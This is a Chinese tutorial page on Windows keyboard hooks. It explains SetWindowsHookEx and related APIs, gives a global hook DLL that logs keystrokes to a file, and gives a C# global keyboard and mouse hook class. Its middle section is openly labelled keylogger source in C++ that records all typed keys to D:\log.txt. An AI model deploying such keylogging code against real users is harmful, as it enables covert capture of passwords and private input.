键盘钩子(键盘钩子入门)
一、键盘钩子怎么 使用
I:设置钩子
设置钩子是通过SetWindowsHookEx()的API函数.
原形: HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId)
idhook:装入钩子的类型.
lpfn:钩子进程的入口地址
hMod:应用程序的事件句柄
dwThreadId:装入钩子的线程标示
参数:
idHook:
这个参数可以是以下值:
WH_CALLWNDPROC、WH_CALLWNDPROCRET、WH_CBT、WH_DEBUG、WH_FOREGROUNDIDLE、WH_GETMESSAGE、WH_JOURNALPLAYBACK、WH_JOURNALRECORD、WH_KEYBOARD、WH_KEYBOARD_LL、WH_MOUSE、WH_MOUSE_LL、WH_MSGFILTER、WH_SHELL、WH_SYSMSGFILTER。
对于这些参数,我不想一一加以解释,因为MSDN中有关于他们的详细注解。我只挑选其中的几个加以中文说明。
WH_KEYBOARD:一旦有键盘敲打消息(键盘的按下、键盘的弹起),在这个消息被放在应用程序的消息队列前,WINDOWS将会调用你的钩子函数。钩子函数可以改变和丢弃键盘敲打消息。
WH_MOUSE:每个鼠标消息在被放在应用程序的消息队列前,WINDOWS将会调用你的钩子函数。钩子函数可以改变和丢弃鼠标消息。
WH_GETMESSAGE:每次当你的应用程序调用一个GetMessage()或者一个PeekMessage()为了去从应用程序的消息队列中要求一个消息时,WINDOWS都会调用你的钩子函数。而钩子函数可以改变和丢弃这个消息。
II:释放钩子
钩子的释放使用的是UnhookWindowsHookEx()函数
原形:BOOL UnhookWindowsHookEx( HHOOK hhk)
UnhookWindowsHookEx()函数将释放的是钩子链中函数SetWindowsHookEx所装入的钩子进程。
hhk:将要释放的钩子进程的句柄。
III:钩子进程
钩子进程使用函数HookProc;其实HookProc仅仅只是应用程序定义的符号。比如你可以写成KeyBoardHook.但是参数是不变的。Win32 API提供了诸如:CallWndProc、GetMsgProc、DebugProc、CBTProc、MouseProc、KeyboardProc、MessageProc等函数,对于他们的详细讲解,可以看MSDN我在此只讲解一下KeyBoardHook的含义。
原形:LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
说明:钩子进程是一些依附在一个钩子上的一些函数,因此钩子进程只被WINDOWS调用而不被应用程序调用,他们有时就需要作为一个回调函数(CALLBACK)。
参数说明:
nCode:钩子代码,钩子进程使用钩子代码去决定是否执行。而钩子代码的值是依靠钩子的种类来定的。每种钩子种类都有他们自己一系列特性的代码。比如对于WH_KEYBOARD,钩子代码的参数有:HC_ACTION,HC_NOREMOVE。HC_ACTION的意义:参数wParam和lParam包含了键盘敲打消息的信息,HC_NOREMOVE的意义:参数wParam和lParam包含了键盘敲打消息的信息,并且,键盘敲打消息一直没有从消息队列中删除。(应用程序调用PeekMessage函数,并且设置PM_NOREMOVE标志)。也就是说当nCode等于HC_ACTION时,钩子进程必须处理消息。而为HC_NOREMOVE时,钩子进程必须传递消息给CallNextHookEx函数,而不能做进一步的处理,而且必须有CallNextHookEx函数的返回值。
wParam:键盘敲打所产生的键盘消息,键盘按键的虚拟代码。
lParam:包含了消息细节。
注意:如果钩子进程中nCode小于零,钩子进程必须返回(return) CallNextHookEx(nCode,wParam,lParam);而钩子进程中的nCode大于零,但是钩子进程并不处理消息,作者推荐你调用CallNextHookEx并且返回该函数的返回值。否则,如果另一个应用程序也装入WH_KEYBOARD钩子,那么该钩子将不接受钩子通知并且返回一个不正确的值。如果钩子进程处理了消息,它可能返回一个非零值去阻止系统传递该信息到其它剩下的钩子或者windows进程。所以最好在钩子进程的最后都返回CallNextHookEx的返回值。
IV:调用下一个钩子函数
调用下一个钩子函数时使用CallNexHookEx函数。
原形:LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam)
CallNexHookEx()函数用于对当前钩子链中的下一个钩子进程传递钩子信息,一个钩子进程既可以在钩子信息处理前,也可以在钩子信息处理后调用该函数。为什么使用该函数已在iii钩子进程中的“注意”中,加以了详细的说明。
hhk:当前钩子的句柄
nCode:传送到钩子进程的钩子代码。
wParam:传送到钩子进程的值。
lParam:传送到钩子进程的值。
参数:
hhk:当前钩子的句柄.应用程序接受这个句柄,作为先前调用SetWindowsHookE函数的结果
nCode:传送到钩子进程的钩子代码,下一个钩子进程使用这个代码以此决定如何处理钩子信息
wParam:传送给钩子进程的wParam参数值,参数值的具体含义与当前钩子链的挂接的钩子类型有关
lParam:传送给钩子进程的wParam参数值,参数值的具体含义与当前钩子链的挂接的钩子类型有关
返回值:返回值是链中下一个钩子进程返回的值,当前钩子进程必须返回这个值,返回值的具体含义与挂接的钩子类型有关,详细信息请参看具体的钩子进程描述。
V建立一个动态连接库(DLL)
当我们熟悉了以上的各个函数后,现在我们开始编写一个动态连接库(DLL)。在这儿我采用的是WIN32 DLL,而不是MFC DLL。而且以下所有的程序也都是采用C语言去编写。这主要是因为使用WIN32 API能够更详细、更全面的控制程序的如何执行,而使用MFC,一些低级的控制是不可能实现的(当然,仅对该程序来说,也是可以使用MFC的)。
1:建立一个动态连接库的.cpp文件。比如我们现在建立一个名为hookdll.cpp的文件。在hookdll.cpp的文件中加上如下内容:
#include<windows.h>
#include"string.h"
#include"stdio.h"
HINSTANCE hInst;
#pragma data_seg("hookdata")
HHOOK oldkeyhook=0;
#pragma data_seg()
#pragma comment(linker,"/SECTION:hookdata,RWS")
#define DllExport extern"C"__declspec(dllexport)
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam);
DllExport void InstallHook(int nCode);
DllExport void EndHook(void);
BOOL WINAPI DllMain(HINSTANCE hInstance,ULONG What,LPVOID NotUsed)
{
switch(What)
{
case DLL_PROCESS_ATTACH:
hInst= hInstance;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 1;
}
void InstallHook(int nCode)
{
oldkeyhook= SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam)
{
WPARAM j;
FILE*fp;
if(lParam&0x80000000)
{
j= wParam;
fp=fopen("c:\hook\key.txt","a");
fprintf(fp,"%4d",j);
fclose(fp);
}
return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}
void EndHook(void)
{
UnhookWindowsHookEx(oldkeyhook);
}
这个动态连接库的源代码hookdll.cpp包含了键盘处理函数,设置钩子,退出钩子函数。并将键盘敲下的键以值的格式存入到c:hookkey.txt文件中。以下是对该文件的详细的解释。
使用包含在DLL的函数,必须将其导入。导入操作时通过dllimport来完成的,dllexport和dllimport都是vc(visual C++)和bc(Borland C++)所支持的扩展的关键字。但是dllexport和dllimport关键字不能被自身所使用,因此它的前面必须有另一个扩展关键字__declspec。通用格式如下:__declspec(specifier)其中specifier是存储类标示符。对于DLL,specifier将是dllexport和dllimport。而且为了简化说明导入和导出函数的语句,用一个宏名来代替__declspec.在此程序中,使用的是DllExport。如果用户的DLL被编译成一个C++程序,而且希望C程序也能使用它,就需要增加“C”的连接说明。#define DllExport extern"C"__declspec(dllexport),这样就避免了标准C++命名损坏。(当然,如果读者正在编译的是C程序,就不要加入extern“C”,因为不需要它,而且编译器也不接受它)。有了宏定义,现在就可以用一个简单的语句就可以导出函数了,比如:
DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam);DllExport void InstallHook(int nCode);DllExport void EndHook(void);
第一个#pragma语句创造数据段,这里命名为hookdata。其实也可以命名为您喜欢的任意的一个名称。#pragma语句之后的所有初始化的变量都进入hookdata段中。第二个#pragma语句是数据段的结束标志。对变量进行专门的初始化是很重要的,否则编译程序将把它们放在普通的未初始化的段中而不是放在hookdata中。
但是链接程序必须直到有一个hookdata段。我们可以在Project Setting(vc6.0)对话框中选择Link选项,选中HOOKDLL时在Project Options域(在Release和Debug配置中均可),包含下面的连接语句:/SECTION:hookdata,RWS字母RWS是表明该段具有读、写、和共享属性。当然,您也可以直接用DLL源代码指定链接程序就像HOOKDLL.c那样:#pragma comment(linker,"/SECTION:hookdata,RWS")。
由于有些DLL需要特殊的启动和终止代码。为此,所有的DLL都有一个名为DllMain()的函数,当初始化或终止DLL时调用该函数。一般在动态连结库的资源文件中定义此函数。不过如果没有定义它,则编译器会自动提供缺省的形式。
原型为:BOOL WINAPI DllMain(HINSTANCE hInstance,ULONG What,LPVOID NotUsed)
参数:
hInstance:DLL实例句柄
What:指定所发生的操作
NotUsed:保留参数
其中What的值可以为以下值:
DLL_PROCESS_ATTACH:进程开始使用DLL
DLL_PROCESS_DETACH:进程正在释放DLL
DLL_THREAD_ATTACH:进程已创建一个新的线程
DLL_THREAD_DETACH:进程已舍弃了一个线程
总的来说,无论何时调用DllMain()函数,都必须根据What的内容来采取适当的动作。这种适当的动作可以什么都不做,但不是返回非零值。
DllMain()接下来的便是设置钩子,键盘处理,和释放钩子。
2:建立头文件
正如应用程序所使用的其它任何库函数一样,程序也必须包含dll内的函数的原型。所有得Windows程序都必须包含windows.h的原因。所以我们现在建立一个头文件hookdll.h如下:
#define DllImport extern"C"__declspec(dllimport)
DllImport void InstallHook(int nCode);
DllImport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam);
DllImport void EndHook(void);
使用dllimport主要是为了使代码更高效,因此推荐使用它。但是在导入数据时是需要dllimport的。当完成了上面的程序后,建一个项目工程,不妨为hookdll,然后将hookdll.c插入导项目工程中,编译,则可以生成了hookdll.dll和hookdll.lib。
3:建立程序主文件
我们在上面作的所有得工作都是为现在的主程序打得基础。其实当我们完成了Dll文件后,剩下的就是调用设置钩子函数:InstallHook。如果你对windows编程十分的熟悉,那么你可以在你任何需要的时候来调用InstallHook。但是在你必须记住在你退出程序的时候你需要调EndHook以便释放你所装入的钩子函数。现在我在建立了一个hookspy.cpp,并将生成好的hookdll.dll和hookdll.lib拷贝到从一个目录下,并建立一个hookspy的项目工程。将hookspy.cpp,hookdll.dll,hookdll.lib,hookdll.h插入到项目工程中去。然后在建立windows窗口时就将钩子设置,在退出程序时退出钩子函数。比如:
case WM_CREATE:
InstallHook(TRUE);
break;
case WM_DESTROY://terminate the program
EndHook();
PostQuitMessage(0);
break;
二、c++实现键盘记录仪(键盘钩子)
啥都不说,先上源码
#include<windows.h>
#include<Winuser.h>
#include<string>
#include<fstream>
#include<iostream>
using namespace std;
string GetKey(int Key)//判断键盘按下什么键
{
string KeyString="";
//判断符号输入
const int KeyPressMask=0x80000000;//键盘掩码常量
int iShift=GetKeyState(0x10);//判断Shift键状态
bool IS=(iShift& KeyPressMask)==KeyPressMask;//表示按下Shift键
if(Key>=186&& Key<=222)
{
switch(Key)
{
case 186:
if(IS)
KeyString=":";
else
KeyString=";";
break;
case 187:
if(IS)
KeyString="+";
else
KeyString="=";
break;
case 188:
if(IS)
KeyString="<";
else
KeyString=",";
break;
case 189:
if(IS)
KeyString="_";
else
KeyString="-";
break;
case 190:
if(IS)
KeyString=">";
else
KeyString=".";
break;
case 191:
if(IS)
KeyString="?";
else
KeyString="/";
break;
case 192:
if(IS)
KeyString="~";
else
KeyString="`";
break;
case 219:
if(IS)
KeyString="{";
else
KeyString="[";
break;
case 220:
if(IS)
KeyString="|";
else
KeyString="\\";
break;
case 221:
if(IS)
KeyString="}";
else
KeyString="]";
break;
case 222:
if(IS)
KeyString='"';
else
KeyString="'";
break;
}
}
//判断键盘的第一行
if(Key== VK_ESCAPE)//退出
KeyString="[Esc]";
else if(Key== VK_F1)// F1至F12
KeyString="[F1]";
else if(Key== VK_F2)
KeyString="[F2]";
else if(Key== VK_F3)
KeyString="[F3]";
else if(Key== VK_F4)
KeyString="[F4]";
else if(Key== VK_F5)
KeyString="[F5]";
else if(Key== VK_F6)
KeyString="[F6]";
else if(Key== VK_F7)
KeyString="[F7]";
else if(Key== VK_F8)
KeyString="[F8]";
else if(Key== VK_F9)
KeyString="[F9]";
else if(Key== VK_F10)
KeyString="[F10]";
else if(Key== VK_F11)
KeyString="[F11]";
else if(Key== VK_F12)
KeyString="[F12]";
else if(Key== VK_SNAPSHOT)//打印屏幕
KeyString="[PrScrn]";
else if(Key== VK_SCROLL)//滚动锁定
KeyString="[Scroll Lock]";
else if(Key== VK_PAUSE)//暂停、中断
KeyString="[Pause]";
else if(Key== VK_CAPITAL)//大写锁定
KeyString="[Caps Lock]";
//-------------------------------------//
//控制键
else if(Key== 8)//<-回格键
KeyString="[Backspace]";
else if(Key== VK_RETURN)//回车键、换行
KeyString="[Enter]\n";
else if(Key== VK_SPACE)//空格
KeyString="";
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if(Key== VK_LSHIFT)//左侧上档键
KeyString="[Shift]";
else if(Key== VK_LSHIFT)//右侧上档键
KeyString="[SHIFT]";
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if(Key== VK_TAB)//制表键
KeyString="[Tab]";
else if(Key== VK_LCONTROL)//左控制键
KeyString="[Ctrl]";
else if(Key== VK_RCONTROL)//右控制键
KeyString="[CTRL]";
else if(Key== VK_LMENU)//左换档键
KeyString="[Alt]";
else if(Key== VK_LMENU)//右换档键
KeyString="[ALT]";
else if(Key== VK_LWIN)//右 WINDOWS键
KeyString="[Win]";
else if(Key== VK_RWIN)//右 WINDOWS键
KeyString="[WIN]";
else if(Key== VK_APPS)//键盘上右键
KeyString="右键";
else if(Key== VK_INSERT)//插入
KeyString="[Insert]";
else if(Key== VK_DELETE)//删除
KeyString="[Delete]";
else if(Key== VK_HOME)//起始
KeyString="[Home]";
else if(Key== VK_END)//结束
KeyString="[End]";
else if(Key== VK_PRIOR)//上一页
KeyString="[PgUp]";
else if(Key== VK_NEXT)//下一页
KeyString="[PgDown]";
//不常用的几个键:一般键盘没有
else if(Key== VK_CANCEL)// Cancel
KeyString="[Cancel]";
else if(Key== VK_CLEAR)// Clear
KeyString="[Clear]";
else if(Key== VK_SELECT)//Select
KeyString="[Select]";
else if(Key== VK_PRINT)//Print
KeyString="[Print]";
else if(Key== VK_EXECUTE)//Execute
KeyString="[Execute]";
//----------------------------------------//
else if(Key== VK_LEFT)//上、下、左、右键
KeyString="[←]";
else if(Key== VK_RIGHT)
KeyString="[→]";
else if(Key== VK_UP)
KeyString="[↑]";
else if(Key== VK_DOWN)
KeyString="[↓]";
else if(Key== VK_NUMLOCK)//小键盘数码锁定
KeyString="[NumLock]";
else if(Key== VK_ADD)//加、减、乘、除
KeyString="+";
else if(Key== VK_SUBTRACT)
KeyString="-";
else if(Key== VK_MULTIPLY)
KeyString="*";
else if(Key== VK_DIVIDE)
KeyString="/";
else if(Key== 190|| Key== 110)//小键盘.及键盘.
KeyString=".";
//小键盘数字键:0-9
else if(Key== VK_NUMPAD0)
KeyString="0";
else if(Key== VK_NUMPAD1)
KeyString="1";
else if(Key== VK_NUMPAD2)
KeyString="2";
else if(Key== VK_NUMPAD3)
KeyString="3";
else if(Key== VK_NUMPAD4)
KeyString="4";
else if(Key== VK_NUMPAD5)
KeyString="5";
else if(Key== VK_NUMPAD6)
KeyString="6";
else if(Key== VK_NUMPAD7)
KeyString="7";
else if(Key== VK_NUMPAD8)
KeyString="8";
else if(Key== VK_NUMPAD9)
KeyString="9";
//-------------------------------------------//
//-------------------------------------------//
//*对字母的大小写进行判断*//
else if(Key>=97&& Key<= 122)//字母:a-z
{
if(GetKeyState(VK_CAPITAL))//大写锁定
{
if(IS)//Shift按下:为小写字母
KeyString= Key;
else//只有大写锁定:输出大写字母
KeyString= Key- 32;
}
else//大写没有锁定
{
if(IS)//按下Shift键:大写字母
KeyString= Key- 32;
else//没有按Shift键:小写字母
KeyString= Key;
}
}
else if(Key>=48&& Key<= 57)//键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48://0
KeyString=")";
break;
case 49://1
KeyString="!";
break;
case 50://2
KeyString="@";
break;
case 51://3
KeyString="#";
break;
case 52://4
KeyString="$";
break;
case 53://5
KeyString="%";
break;
case 54://6
KeyString="^";
break;
case 55://7
KeyString="&";
break;
case 56://8
KeyString="*";
break;
case 57://9
KeyString="(";
break;
}
}
else
KeyString= Key;
}
if(Key!= VK_LBUTTON|| Key!= VK_RBUTTON)
{
if(Key>=65&& Key<=90)//ASCII 65-90为A-Z
{
if(GetKeyState(VK_CAPITAL))//大写锁定:输出A-Z
{
if(IS)//大写锁定,并且按下上档键:输出为小写字母
KeyString= Key+ 32;
else//只有大写锁定:输出为大写字母
KeyString= Key;
}
else//大写没有锁定:a-z
{
if(IS)
{
KeyString= Key;
}
else
{
Key= Key+ 32;
KeyString= Key;
}
}
}
}
return KeyString;
}
int main()
{
string Filename="D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
string TempString="";
fstream FStream;
cout<<"现在开始键盘记录";
FStream.open(Filename.c_str(), std::fstream::out| std::fstream::app);
while(true)
{
Sleep(5);
for(int i= 8; i<=255; i++)
{
if(GetAsyncKeyState(i)&1==1)
{
TempString= GetKey(i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out| std::fstream::app);
}
}
}
}
三、求一个C#键盘钩子的程序
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;
using System.Diagnostics;
using System.Collections.Generic;
namespace ConsoleApplicationTest
{
///<summary>
///这个类可以让你得到一个在运行中程序的所有鼠标和键盘事件(系统钩子)
///并且引发一个带KeyEventArgs和MouseEventArgs参数的.NET事件以便你很容易使用这些信息
///鼠标钩子处理函数:MouseHookProc
///键盘钩子处理函数:KeyboardHookProc
///使用方法:
/// 1.新建该类。
/// 2.声明OnMouseActivity、OnKeyDownEvent、OnKeyUpEvent、OnKeyPressEvent.
/// 3.使用时调用相应的事件即可。
/// 4.要添加应用请在MouseHookProc()和KeyboardHookProc()中自己添加。
///使用示例:
/// public mkhook= new KeyBordHook();
/// mkhook.OnKeyDownEvent+= new KeyEventHandler(OnKeyDownEventHandler);
/// mkhook.OnMouseActivity+= new MouseEventHandler(OnMouseEventHandler);
/// private void OnKeyDownEventHandler(object sender, KeyEventArgs e)
///{
/// Console.WriteLine("KeyDown......");
///}
/// private void OnMouseEventHandler(object sender, MouseEventArgs e)
///{
/// Console.WriteLine("MouseEvent......");
///}
///</summary>
///<remarks>
///修改:xyan nay6@163.com
///修改时间:10.06.11
///</remarks>
public class KeyBordHook: IDisposable
{
private const int WM_KEYDOWN= 0x100;
private const int WM_KEYUP= 0x101;
private const int WM_SYSKEYDOWN= 0x104;
private const int WM_SYSKEYUP= 0x105;
//全局的事件
public event MouseEventHandler OnMouseActivity;//鼠标事件
public event KeyEventHandler OnKeyDownEvent;//键按下
public event KeyEventHandler OnKeyUpEvent;//键放下
public event KeyPressEventHandler OnKeyPressEvent;//键按下
static int hMouseHook= 0;//鼠标钩子句柄
static int hKeyboardHook= 0;//键盘钩子句柄
//鼠标常量
public const int WH_MOUSE= 7;
public const int WH_MOUSE_LL= 14;//鼠标常量
public const int WH_KEYBOARD_LL= 13;//键盘常量
HookProc MouseHookProcedure;//声明鼠标钩子事件类型.
HookProc KeyboardHookProcedure;//声明键盘钩子事件类型.
//Declare wrapper managed POINT class.
[StructLayout(LayoutKind.Sequential)]
public class POINT
{
public int x;
public int y;
}
//声明鼠标钩子的封送结构类型
[StructLayout(LayoutKind.Sequential)]
public class MouseHookStruct
{
public POINT pt;
public int hwnd;
public int wHitTestCode;
public int dwExtraInfo;
}
//声明键盘钩子的封送结构类型
[StructLayout(LayoutKind.Sequential)]
public class KeyboardHookStruct
{
public int vkCode;//表示一个在1到254间的虚似键盘码
public int scanCode;//表示硬件扫描码
public int flags;
public int time;
public int dwExtraInfo;
}
//装置钩子的函数
[DllImport("user32.dll", CharSet= CharSet.Auto, CallingConvention= CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
//卸下钩子的函数
[DllImport("user32.dll", CharSet= CharSet.Auto, CallingConvention= CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
//下一个钩挂的函数
[DllImport("user32.dll", CharSet= CharSet.Auto, CallingConvention= CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
[DllImport("user32")]
public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState);
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
[DllImport("kernel32.dll", CharSet= CharSet.Auto,
CallingConvention= CallingConvention.StdCall)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
//先前按下的键
public List<Keys> preKeys= new List<Keys>();
///<summary>
///墨认的构造函数构造当前类的实例并自动的运行起来.
///</summary>
public KeyBordHook()
{
Start();
}
//析构函数.
~KeyBordHook()
{
Stop();
}
public void Dispose()
{
Stop();
}
public void Start()
{
//安装键盘钩子
if(hKeyboardHook== 0)
{
KeyboardHookProcedure= new HookProc(KeyboardHookProc);
//hKeyboardHook= SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcedure, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]), 0);
Process curProcess= Process.GetCurrentProcess();
ProcessModule curModule= curProcess.MainModule;
hKeyboardHook= SetWindowsHookEx(WH_KEYBOARD_LL,
KeyboardHookProcedure,
GetModuleHandle(curModule.ModuleName),
0);
if(hKeyboardHook== 0)
{
Stop();
Console.WriteLine("SetWindowsHookEx ist failed.");
throw new Exception("SetWindowsHookEx ist failed.");
}
}
// install Mouse hook
if(hMouseHook== 0)
{
// Create an instance of HookProc.
MouseHookProcedure= new HookProc(this.MouseHookProc);
Process curProcess= Process.GetCurrentProcess();
ProcessModule curModule= curProcess.MainModule;
//curProcess.Threads[0].Id;
hMouseHook= SetWindowsHookEx(WH_MOUSE_LL,
MouseHookProcedure,
GetModuleHandle(curModule.ModuleName),
0);//curProcess.Id//Process.GetCurrentProcess().Id
//If SetWindowsHookEx fails.
if(hMouseHook== 0)
{
Stop();
Console.WriteLine("SetWindowsHookEx failed.");
throw new Exception("SetWindowsHookEx failed.");
}
}
}
public void Stop()
{
bool retMouse= true;
bool retKeyboard= true;
if(hMouseHook!= 0)
{
retMouse= UnhookWindowsHookEx(hMouseHook);
hMouseHook= 0;
}
if(hKeyboardHook!= 0)
{
retKeyboard= UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook= 0;
}
//如果卸下钩子失败
if(!(retKeyboard))
{
Console.WriteLine("UnhookWindowsHookEx failed.");
throw new Exception("UnhookWindowsHookEx failed.");
}
}
private const int WM_MOUSEMOVE= 0x200;
private const int WM_LBUTTONDOWN= 0x201;
private const int WM_RBUTTONDOWN= 0x204;
private const int WM_MBUTTONDOWN= 0x207;
private const int WM_LBUTTONUP= 0x202;
private const int WM_RBUTTONUP= 0x205;
private const int WM_MBUTTONUP= 0x208;
private const int WM_LBUTTONDBLCLK= 0x203;
private const int WM_RBUTTONDBLCLK= 0x206;
private const int WM_MBUTTONDBLCLK= 0x209;
private int MouseHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
// if ok and someone listens to our events
if((nCode>= 0)&&(OnMouseActivity!= null))
{
MouseButtons button= MouseButtons.None;
switch(wParam)
{
case WM_LBUTTONDOWN://鼠标左键
case WM_LBUTTONUP:
case WM_LBUTTONDBLCLK:
button= MouseButtons.Left;
break;
case WM_RBUTTONDOWN://鼠标右键
case WM_RBUTTONUP:
case WM_RBUTTONDBLCLK:
button= MouseButtons.Right;
break;
//case WM_MBUTTONDOWN:
////case WM_MBUTTONUP:
////case WM_MBUTTONDBLCLK:
// button= MouseButtons.Middle;
// break;
default:
break;
}
int clickCount= 0;
if(button!= MouseButtons.None)
{
if(wParam== WM_LBUTTONDBLCLK|| wParam== WM_RBUTTONDBLCLK|| wParam== WM_MBUTTONDBLCLK)
{
clickCount= 2;
}
else
{
clickCount= 1;
}
}
//}
//Console.WriteLine(clickCount.ToString());
//Marshall the data from callback.
MouseHookStruct MyMouseHookStruct=(MouseHookStruct)Marshal.PtrToStructure(lParam, typeof(MouseHookStruct));
MouseEventArgs e= new MouseEventArgs(
button,
clickCount,
MyMouseHookStruct.pt.x,
MyMouseHookStruct.pt.y,
0);
OnMouseActivity(this, e);
}
return CallNextHookEx(hMouseHook, nCode, wParam, lParam);
}
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
Console.WriteLine("In KeyboardHookProc.");
if((nCode>= 0)&&(OnKeyDownEvent!= null|| OnKeyUpEvent!= null|| OnKeyPressEvent!= null))
{
KeyboardHookStruct MyKeyboardHookStruct=(KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
//当有OnKeyDownEvent或 OnKeyPressEvent不为null时,ctrl alt shift keyup时 preKeys
//中的对应的键增加
if((OnKeyDownEvent!= null|| OnKeyPressEvent!= null)&&(wParam== WM_KEYDOWN|| wParam== WM_SYSKEYDOWN))
{
Keys keyData=(Keys)MyKeyboardHookStruct.vkCode;
if(IsCtrlAltShiftKeys(keyData)&& preKeys.IndexOf(keyData)==-1)
{
preKeys.Add(keyData);
Console.WriteLine(keyData.ToString());
}
}
//引发OnKeyDownEvent
if(OnKeyDownEvent!= null&&(wParam== WM_KEYDOWN|| wParam== WM_SYSKEYDOWN))
{
Keys keyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgs e= new KeyEventArgs(GetDownKeys(keyData));
OnKeyDownEvent(this, e);
}
//引发OnKeyPressEvent
if(OnKeyPressEvent!= null&& wParam== WM_KEYDOWN)
{
byte[] keyState= new byte[256];
GetKeyboardState(keyState);
byte[] inBuffer= new byte[2];
if(ToAscii(MyKeyboardHookStruct.vkCode,
MyKeyboardHookStruct.scanCode,
keyState,
inBuffer,
MyKeyboardHookStruct.flags)== 1)
{
KeyPressEventArgs e= new KeyPressEventArgs((char)inBuffer[0]);
OnKeyPressEvent(this, e);
}
}
//当有OnKeyDownEvent或 OnKeyPressEvent不为null时,ctrl alt shift keyup时 preKeys
//中的对应的键删除
if((OnKeyDownEvent!= null|| OnKeyPressEvent!= null)&&(wParam== WM_KEYUP|| wParam== WM_SYSKEYUP))
{
Keys keyData=(Keys)MyKeyboardHookStruct.vkCode;
if(IsCtrlAltShiftKeys(keyData))
{
for(int i= preKeys.Count- 1; i>= 0; i--)
{
if(preKeys[i]== keyData)
{
preKeys.RemoveAt(i);
}
}
}
}
//引发OnKeyUpEvent
if(OnKeyUpEvent!= null&&(wParam== WM_KEYUP|| wParam== WM_SYSKEYUP))
{
Keys keyData=(Keys)MyKeyboardHookStruct.vkCode;
KeyEventArgs e= new KeyEventArgs(GetDownKeys(keyData));
OnKeyUpEvent(this, e);
}
}
Console.WriteLine("Out KeyboardHookProc.");
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
private Keys GetDownKeys(Keys key)
{
Keys rtnKey= Keys.None;
foreach(Keys keyTemp in preKeys)
{
switch(keyTemp)
{
case Keys.LControlKey:
case Keys.RControlKey:
rtnKey= rtnKey| Keys.Control;
break;
case Keys.LMenu:
case Keys.RMenu:
rtnKey= rtnKey| Keys.Alt;
break;
case Keys.LShiftKey:
case Keys.RShiftKey:
rtnKey= rtnKey| Keys.Shift;
break;
default:
break;
}
}
rtnKey= rtnKey| key;
return rtnKey;
}
private Boolean IsCtrlAltShiftKeys(Keys key)
{
switch(key)
{
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LShiftKey:
case Keys.RShiftKey:
return true;
default:
return false;
}
}
}
}
以上回答你满意么?